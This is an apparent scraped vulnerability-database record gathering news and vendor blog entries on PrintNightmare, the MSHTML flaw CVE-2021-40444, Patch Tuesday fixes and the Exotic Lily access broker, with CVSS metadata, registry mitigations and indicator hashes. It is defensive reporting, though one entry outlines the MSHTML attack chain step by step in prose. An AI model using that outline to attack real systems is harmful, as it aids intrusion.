"2022-05-09T12:39:14", "description": "[](<https://thehackernews.com/images/-YB6xMmNkBp0/YRYuIvxMidI/AAAAAAAADhg/a2Ee5QkoQZw6JlnYhCIdg3Nk-HM2yu2wwCLcBGAsYHQ/s0/ransomware.jpg>)\n\nRansomware operators such as Magniber and Vice Society are actively exploiting vulnerabilities in Windows Print Spooler to compromise victims and spread laterally across a victim's network to deploy file-encrypting payloads on targeted systems.\n\n\"Multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward,\" Cisco Talos [said](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) in a report published Thursday, corroborating an [independent analysis](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) from CrowdStrike, which observed instances of Magniber ransomware infections targeting entities in South Korea.\n\nWhile Magniber ransomware was first spotted in late 2017 singling out victims in South Korea through malvertising campaigns, Vice Society is a new entrant that emerged on the ransomware landscape in mid-2021, primarily targeting public school districts and other educational institutions. The attacks are said to have taken place since at least July 13.\n\nSince June, a series of \"PrintNightmare\" issues affecting the Windows print spooler service has come to light that could enable remote code execution when the component performs privileged file operations -\n\n * [**CVE-2021-1675**](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on June 8)\n * [**CVE-2021-34527**](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on July 6-7)\n * [**CVE-2021-34481**](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-36936**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10) \n * [**CVE-2021-36947**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-34483**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Elevation of Privilege Vulnerability (Patched on August 10)\n * [**CVE-2021-36958**](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Unpatched)\n\nCrowdStrike noted it was able to successfully prevent attempts made by the Magniber ransomware gang at exploiting the PrintNightmare vulnerability.\n\nVice Society, on the other hand, leveraged a variety of techniques to conduct post-compromise discovery and reconnaissance prior to bypassing native Windows protections for credential theft and privilege escalation.\n\n[](<https://thehackernews.com/images/-JlsTWIHVgX4/YRYltMOGBKI/AAAAAAAADhQ/pzUFIcW6y0ABjOe3PuUQE5cPSnEOvGP9ACLcBGAsYHQ/s0/ransomware.jpg>)\n\nSpecifically, the attacker is believed to have used a malicious library associated with the PrintNightmare flaw (CVE-2021-34527) to pivot to multiple systems across the environment and extract credentials from the victim.\n\n\"Adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively,\" the researchers said. \"The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T08:29:00", "type": "thn", "title": "Ransomware Gangs Exploiting Windows Print Spooler Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34483", "CVE-2021-34527", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958"], "modified": "2021-08-13T08:32:51", "id": "THN:6428957E9DED493169A2E63839F98667", "href": "https://thehackernews.com/2021/08/ransomware-gangs-exploiting-windows.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:18", "description": "[](<https://thehackernews.com/images/-n2LTDkSYrUk/YUF8P0ggXPI/AAAAAAAADzE/Jk_5Hbl3Sf4AUwjPizqDaRZLrxWgrDizgCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nA day after [Apple](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) and [Google](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) rolled out urgent security updates, Microsoft has [pushed software fixes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Sep>) as part of its monthly Patch Tuesday release cycle to plug 66 security holes affecting Windows and other components such as Azure, Office, BitLocker, and Visual Studio, including an [actively exploited zero-day](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) in its MSHTML Platform that came to light last week. \n\nOf the 66 flaws, three are rated Critical, 62 are rated Important, and one is rated Moderate in severity. This is aside from the [20 vulnerabilities](<https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security>) in the Chromium-based Microsoft Edge browser that the company addressed since the start of the month.\n\nThe most important of the updates concerns a patch for [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>) (CVSS score: 8.8), an actively exploited remote code execution vulnerability in MSHTML that leverages malware-laced Microsoft Office documents, with EXPMON researchers noting \"the exploit uses logical flaws so the exploitation is perfectly reliable.\"\n\nAlso addressed is a publicly disclosed, but not actively exploited, zero-day flaw in Windows DNS. Designated as [CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>), the elevation of privilege vulnerability is rated 7.8 in severity.\n\nOther flaws of note resolved by Microsoft involve a number of remote code execution bugs in Open Management Infrastructure ([CVE-2021-38647](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647>)), Windows WLAN AutoConfig Service ([CVE-2021-36965](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36965>)), Office ([CVE-2021-38659](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38659>)), Visual Studio ([CVE-2021-36952](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36952>)), and Word ([CVE-2021-38656](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38656>)) as well as a memory corruption flaw in Windows Scripting Engine ([CVE-2021-26435](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26435>))\n\nWhat's more, the Windows maker has rectified three privilege escalation flaws newly uncovered in its Print Spooler service ([CVE-2021-38667](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38667>), [CVE-2021-38671](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38671>), and [CVE-2021-40447](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40447>)), while [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36975>) and [CVE-2021-38639](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38639>) (CVSS scores: 7.8), both of which relate to an elevation of privilege vulnerabilities in Win32k, are listed as 'exploitation more likely,' making it imperative that users move quickly to apply the security updates.\n\n### Software Patches From Other Vendors\n\nBesides Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including -\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-09-01>)\n * [Apple](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * Linux distributions [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>), and [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-September/thread.html>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=585106405>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>), and\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T05:00:00", "type": "thn", "title": "Microsoft Releases Patch for Actively Exploited Windows Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26435", "CVE-2021-36952", "CVE-2021-36965", "CVE-2021-36968", "CVE-2021-36975", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-38656", "CVE-2021-38659", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40444", "CVE-2021-40447"], "modified": "2021-09-15T05:00:22", "id": "THN:67ECC712AB360F5A56F2434CDBF6B51F", "href": "https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:37:55", "description": "A remote code execution vulnerability exists in Microsoft Internet Explorer MSHTML. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-09T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Internet Explorer MSHTML Remote Code Execution (CVE-2021-40444)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T00:00:00", "id": "CPAI-2021-0554", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "trendmicroblog": [{"lastseen": "2021-09-29T14:37:27", "description": "Trend Micro detected a new campaign using a recent version of the known FormBook infostealer. Newer FormBook variants used the recent Office 365 zero-day vulnerability, CVE-2021-40444.", "cvss3": {}, "published": "2021-09-29T00:00:00", "type": "trendmicroblog", "title": "FormBook Adds Latest Office 365 0-Day Vulnerability (CVE-2021-40444) to Its Arsenal", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-29T00:00:00", "id": "TRENDMICROBLOG:E17B66F8728189778826A0F497A540F2", "href": "https://www.trendmicro.com/en_us/research/21/i/formbook-adds-latest-office-365-0-day-vulnerability-cve-2021-404.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-25T08:36:17", "description": "Microsoft has disclosed the existence of a new zero-day vulnerability that affects multiple versions of Windows. This vulnerability (designated as CVE-2021-40444) is currently delivered via malicious Office 365 documents and requires user input to open the file to trigger.", "cvss3": {}, "published": "2021-09-09T00:00:00", "type": "trendmicroblog", "title": "Remote Code Execution 0-Day (CVE-2021-40444) Hits Windows, Triggered Via Office Docs", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-09T00:00:00", "id": "TRENDMICROBLOG:E0C479F55DF4C53A47CA2170110555AE", "href": "https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-09-25T08:35:08", "description": "Malwarebytes has reason to believe that the [MSHTML vulnerability](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>) listed under [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) is being used to target Russian entities. The Malwarebytes Intelligence team has intercepted email attachments that are specifically targeting Russian organizations.\n\nThe first template we found is designed to look like an internal communication within JSC GREC Makeyev. The Joint Stock Company State Rocket Center named after Academician V.P. Makeyev is a strategic holding of the country's defense and industrial complex for both the rocket and space industry. It is also the lead developer of liquid and solid-fuel strategic missile systems with ballistic missiles, making it one of Russia's largest research and development centers for developing rocket and space technology.\n\nThe email claims to come from the Human Resources (HR) department of the organization.\n\nA phishing email targeted at the Makeyev State Rocket Center, posing at its own HR department \n\nIt says that HR is performing a check of the personal data provided by employees. The email asks employees to please fill out the form and send it to HR, or reply to the mail. When the receiver wants to fill out the form they will have to enable editing. And that action is enough to trigger the exploit.\n\nThe attack depends on MSHTML loading a specially crafted ActiveX control when the target opens a malicious Office document. The loaded ActiveX control can then run arbitrary code to infect the system with more malware.\n\nThe second attachment we found claims to originate from the Ministry of the Interior in Moscow. This type of attachment can be used to target several interesting targets.\n\nA phishing email posing as the Russian Ministry of the Interior\n\nThe title of the documents translates to \u201cNotification of illegal activity.\u201d It asks the receiver to please fill out the form and return it to the Ministry of Internal affairs or reply to this email. It also urges the intended victim to do so within 7 days.\n\n### Russian targets\n\nIt is rare that we find evidence of cybercrimes against Russian targets. Given the targets, especially the first one, we suspect that there may be a state-sponsored actor behind these attacks, and we are trying to find out the origin of the attacks. We will keep you informed if we make any progress in that regard.\n\n### Patched vulnerability\n\nThe CVE-2021-40444 vulnerability may be old-school in nature (it involves ActiveX, remember that?) but it was only recently discovered. It wasn't long before threat actors were sharing PoCs, tutorials and exploits on hacking forums, so that everyone was able to follow step-by-step instructions in order to launch their own attacks.\n\nMicrosoft quickly published mitigation instructions that disabled the installation of new ActiveX controls, and managed to squeeze a [patch into its recent Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/patch-now-printnightmare-over-mshtml-fixed-a-new-horror-appears-omigod/>) output, just a few weeks after the bug became public knowledge. However, the time it takes to create a patch is often dwarfed by the time it takes people to apply it. Organizations, especially large ones, are often found trailing far behind with applying patches, so we expect to see more attacks like this.\n\n\u0411\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u0441\u0435!\n\nThe post [MSHTML attack targets Russian state rocket centre and interior ministry](<https://blog.malwarebytes.com/reports/2021/09/mshtml-attack-targets-russian-state-rocket-centre-and-interior-ministry/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-22T19:16:56", "type": "malwarebytes", "title": "MSHTML attack targets Russian state rocket centre and interior ministry", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-22T19:16:56", "id": "MALWAREBYTES:801E20618F96EF51F9E60F7BC7906C2B", "href": "https://blog.malwarebytes.com/reports/2021/09/mshtml-attack-targets-russian-state-rocket-centre-and-interior-ministry/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-09-13T12:35:29", "description": "Several researchers have independently reported a 0-day remote code execution vulnerability in MSHTML to Microsoft. The reason it was reported by several researchers probably lies in the fact that a limited number of attacks using this vulnerability have been identified, as per Microsoft\u2019s [security update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>). \n\n> Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.\n\nMSHTML is a software component used to render web pages on Windows. Although it's most commonly associated with Internet Explorer, it is also used in other software including versions of Skype, Microsoft Outlook, Visual Studio, and others.\n\nMalwarebytes, as shown lower in this article, blocks the related malicious powershell code execution.\n\n### CVE-2021-40444\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). This one has been assigned the designation [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>) and received a CVSS score of 8.8 out of 10. The CVSS standards are used to help security researchers, software users, and vulnerability tracking organizations measure and report on the severity of vulnerabilities. CVSS can also help security teams and developers prioritize threats and allocate resources effectively.\n\nThe Cybersecurity and Infrastructure Security Agency took to Twitter to [encourage](<https://twitter.com/USCERT_gov/status/1435342618704191491>) users and organizations to review Microsoft's mitigations and workarounds to address CVE-2021-40444.\n\n### ActiveX\n\nBecause MSHTML is the beating heart of Internet Explorer, the vulnerability also exists in that browser. Although given its limited use, there is little risk of infection by that vector. Microsoft Office applications however, use the MSHTML component to display web content in Office documents.\n\nThe attack depends on MSHTML loading a specially crafted ActiveX control when the target opens a malicious Office document. The loaded ActiveX control can then run arbitrary code to infect the system with more malware.\n\nSo, the attacker will have to trick the user into opening a malicious document. But we all know how good some attackers are at this.\n\n### Mitigation\n\nAt the moment all supported Windows versions are vulnerable. Since there is no patch available yet, Microsoft proposes a few methods to block these attacks.\n\n * Disable the installation of all ActiveX controls in Internet Explorer via the registry. Previously-installed ActiveX controls will still run, but no new ones will be added, including malicious ones.\n * Open documents from the Internet in Protected View or Application Guard for Office, both of which prevent the current attack. This is a default setting but it may have been changed.\n\nDespite the lack of a ready patch, all versions of Malwarebytes currently block this threat, as shown below. Malwarebytes also detects the eventual payload, Cobalt Strike, and has done so for years, meaning that even if a threat actor had disabled anti-exploit, then Cobalt Strike itself would still be detected. \n\n\n\nA screenshot from Malwarebytes Teams showing active detection of this threat\n\nA screenshot from Malwarebytes Nebula showing active detection of this threat\n\nA screenshot of Malwarebytes Teams blocking the final payload\n\nA screenshot of Malwarebytes Anti-Exploit blocking the exploit payload process\n\n### Registry changes\n\nModifying the registry may create unforeseen results, so create a backup before you change it! It may also come in handy when you want to undo the changes at a later point.\n\nTo create a backup, open Regedit and drill down to the key you want to back up (if it exists):\n\n`HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones`\n\nRight click the key in the left side of the registry pane and select "Export". Follow the prompts and save the created reg file with a name and in a location where you can easily find it.\n\n\n\nTo make the recommended changes, open a text file and paste in the following script. Make sure that all of the code box content is pasted into the text file!\n \n \n Windows Registry Editor Version 5.00\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\2]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n [HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3]\n \"1001\"=dword:00000003\n \"1004\"=dword:00000003\n \n\nSave the file with a .reg file extension. Right-click the file and select Merge. You'll be prompted about adding the information to the registry, agree, and then reboot your machine.\n\n## Update september 9, 2021\n\nIt has taken researchers only a few days to circumvent the mitigations proposed by Microsoft. Once they were able to find a sample of a malicious Word document, they have started analyzing how it works and along the way poked holes in the defense strategies proposed by Microsoft.\n\nOne of the wobbly pillars is the Mark-of-the-Web (MoTW) flag that is given to downloaded files. This only blocks the exploit unless a user clicks on the 'Enable Editing' buttons. Sadly, experience has learned us that it is not a good idea to trust that they won't do that. Another problem with this flag is that it doesn't survive when it is handled by other applications, like for example, unzipping. Another problem are certain filetypes that use the same MSHTML to view webcontent, but are not protected by Office's Protected View security feature. Researcher [Will Dormann](<https://twitter.com/wdormann/status/1435951560006189060>) was able to replicate the attasck using an RTF file.\n\nThe registry fix we posted to prevent ActiveX controls from running in Internet Explorer, were supposed to effectively block the current attacks. But, security researcher Kevin Beaumont has already [discovered a way](<https://twitter.com/GossiTheDog/status/1435570418623070210>) to bypass Microsoft's current mitigations to exploit this vulnerability.\n\n### The attack chain\n\nThe researchers have also managed to reconstruct the attack chain with the use of a limited set of samples of malicious docx files. \n\n * Once a user clicks on the 'Enable Editing' button, the exploit will load a _side.html_ file by using the mhtml protocol to open a URL. The _side.html _file is hosted at a remote site and will be loaded as a Word template.\n * The Internet Explorer browser will be started to load the HTML, and its obfuscated JavaScript code will exploit the CVE-2021-40444 vulnerability to create a malicious ActiveX control.\n * This ActiveX control will download a _ministry.cab_ file from a remote site.\n * And extract a _championship.inf_ file, which is actually a DLL, and execute it as a CPL file by using rundll32.exe.\n * The ultimate payload is a Cobalt Strike beacon, which would allow the threat actor to gain remote access to the device.\n\nGiven the few days that are left until next patch Tuesday, it is doubtful whether Microsoft will be able to come up with an effective patch.\n\nConsider me one happy camper that Malwarebytes does not rely on the MoTW flag.\n\n_This is what happened when I tried to "edit" the Word doc the researchers analyzed_\n\n## Update september 13, 2021\n\nAs [reported by BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/windows-mshtml-zero-day-exploits-shared-on-hacking-forums/>) threat actors are sharing PoCs, tutorials and exploits on hacking forums, so that every script kiddy and wannabe hacker can follow step-by-step instructions to build their own attacks. Since the method we mentioned that uses an RTF file even works in Windows explorer file previews. This means this vulnerability can be exploited by viewing a malicious document using the Windows Explorer preview feature.\n\nSince this was discovered, Microsoft has added the following mitigation to disable previewing of RTF and Word documents:\n\n 1. In the Registry Editor (regedit.exe), navigate to the appropriate registry key: **For Word documents, navigate to these keys:**\n * HKEY_CLASSES_ROOT.docx\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}\n * HKEY_CLASSES_ROOT.doc\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}\n * HKEY_CLASSES_ROOT.docm\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f} **For rich text files (RTF), navigate to this key:**\n * HKEY_CLASSES_ROOT.rtf\\ShellEx{8895b1c6-b41f-4c1c-a562-0d564250836f}\n 2. Export a copy of the Registry key as a backup.\n 3. Now double-click **Name** and in the **Edit String** dialog box, delete the Value Data.\n 4. Click **OK**,\n\nWord document and RTF file previews are now disabled in Windows Explorer.\n\nTo enable Windows Explorer preview for these documents, double-click on the backup .reg file you created in step 2 above.\n\nStay safe,everyone!\n\nThe post [[updated] Windows MSHTML zero-day actively exploited, mitigations required](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {}, "published": "2021-09-08T11:04:07", "type": "malwarebytes", "title": "[updated] Windows MSHTML zero-day actively exploited, mitigations required", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T11:04:07", "id": "MALWAREBYTES:DB54B348AF1AC41987150B5CE7B1BC66", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/windows-mshtml-zero-day-actively-exploited-mitigations-required/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-03-18T23:27:45", "description": "The Google Threat Analysis Group (TAG) has shared their observations about a group of cybercriminals called Exotic Lily. This group has specialized itself as an initial access broker, which means they find a vulnerability in an organization's defenses, exploit that vulnerability, and sell the access to the victim's network to an interested party, several times over with different victims.\n\nAmong these interested parties TAG found the [Conti](<https://blog.malwarebytes.com/threat-spotlight/2021/05/threat-spotlight-conti-the-ransomware-used-in-the-hse-healthcare-attack/>) and Diavol ransomware groups. Because Exotic Lily's methods involved a lot of detail, they are believed to require a level of human interaction that is rather unusual for cybercrime groups focused on large scale operations.\n\n## Initial access broker\n\nLike in any maturing industry, you can expect to see specialization and diversification. Initial access brokers are an example of specialized cybercriminals. They will use a vulnerability to gain initial access, and, probably based on the nature of the target, sell this access to other cybercriminals that can use this access to deploy their specific malware.\n\nThese initial access brokers are different from the usual ransomware affiliates that will deploy the ransomware they are affiliated with themselves and use the infrastructure provided by the ransomware as a service (RaaS) group to get a chunk of the ransom if the victim decides to pay. The RaaS will provide the encryption software, the contact and leak sites, and negotiate the ransom with the victim. An initial access broker will inform another cybercriminal by letting them know they have found a way in at company xyz, and inquire how much they are willing to pay for that access.\n\n## Exotic Lily\n\nFrom the [TAG blog](<https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/>) we can learn that Exotic Lily was very much specialized. Their initial attack vector was email. Initially, they were targeting specific industries such as IT, cybersecurity, and healthcare, but that focus has become less stringent.\n\nTheir email campaigns gained credibility by spoofing companies and employees. Their email campaigns were targeted to a degree that they are believed to be sent by real human operators using little to no automation. To evade detection mechanisms they used common services like WeTransfer, TransferNow, and OneDrive to deliver the payload.\n\nLast year, researchers found that Exotic Lily used the vulnerability listed as [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>), a Microsoft MSHTML Remote Code Execution (RCE) vulnerability. Microsoft also posted a [blog](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) about attacks that exploited this vulnerability. Later, the group shifted to using customized versions of [BazarLoader](<https://blog.malwarebytes.com/detections/trojan-bazar/>) delivered inside ISO files.\n\nBased on the fact that the Exotic Lily\u2019s operations require a lot of human interaction, the researchers did an analysis of the \u201cworking hours\u201d and came to the conclusion that it looks like a regular 9 to 5 operation located in a Central or Eastern Europe time zone.\n\n## Social engineering\n\nAs with most email campaigns the amount of social engineering largely defines how successful such a campaign can be. Between the millions of emails sent in a "spray-and-pray" attack, to the thousands that Exotic Lily sends out per day, there is a huge difference in success rate.\n\nExotic Lily used identity [spoofing](<https://blog.malwarebytes.com/cybercrime/2016/06/email-spoofing/>) where they replaced the TLD for a legitimate domain and replaced it with \u201c.us\u201d, \u201c.co\u201d or \u201c.biz\u201d. At first, the group would create entirely fake personas posing as employees of a real company. These personas would come including social media profiles, personal websites, and AI generated profile pictures. That must have been a lot of work, so at some point the group started to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.\n\nUsing such spoofed accounts, the attackers would send [spear phishing](<https://blog.malwarebytes.com/social-engineering/2020/01/spear-phishing-101-what-you-need-to-know/>) emails with a business proposal and even engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.\n\n## IOC\u2019s\n\nSHA-256 hashes of the **BazarLoader** ISO samples:\n\n * 5ceb28316f29c3912332065eeaaebf59f10d79cd9388ef2a7802b9bb80d797be\n * 9fdec91231fe3a709c8d4ec39e25ce8c55282167c561b14917b52701494ac269\n * c896ee848586dd0c61c2a821a03192a5efef1b4b4e03b48aba18eedab1b864f7\n\nSHA-256 hashes of the 